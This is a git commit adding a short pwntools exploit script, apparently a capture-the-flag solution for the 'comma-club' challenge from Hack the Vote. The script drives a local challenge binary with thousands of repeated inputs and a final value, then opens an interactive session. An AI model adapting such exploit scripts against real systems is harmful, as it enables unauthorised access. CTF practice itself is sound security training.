dingdong
This commit is contained in:
20
hackthevote/pwn/comma-club/exploit.py
Normal file
20
hackthevote/pwn/comma-club/exploit.py
Normal file
@@ -0,0 +1,20 @@
|
||||
|
||||
# A custom template for binary exploitation that uses pwntools.
|
||||
# Examples:
|
||||
# python exploit.py DEBUG NOASLR GDB
|
||||
# python exploit.py DEBUG REMOTE
|
||||
|
||||
from pwn import *
|
||||
|
||||
with process("./challenge") as p:
|
||||
print(p.recvuntil(b'>').decode())
|
||||
p.sendline("1".encode())
|
||||
print(p.recvuntil(b'>').decode())
|
||||
for i in range(3000):
|
||||
p.sendline("1".encode())
|
||||
print(p.recvuntil(b'>').decode())
|
||||
p.sendline(b"584057")
|
||||
print(p.recvline())
|
||||
p.interactive()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user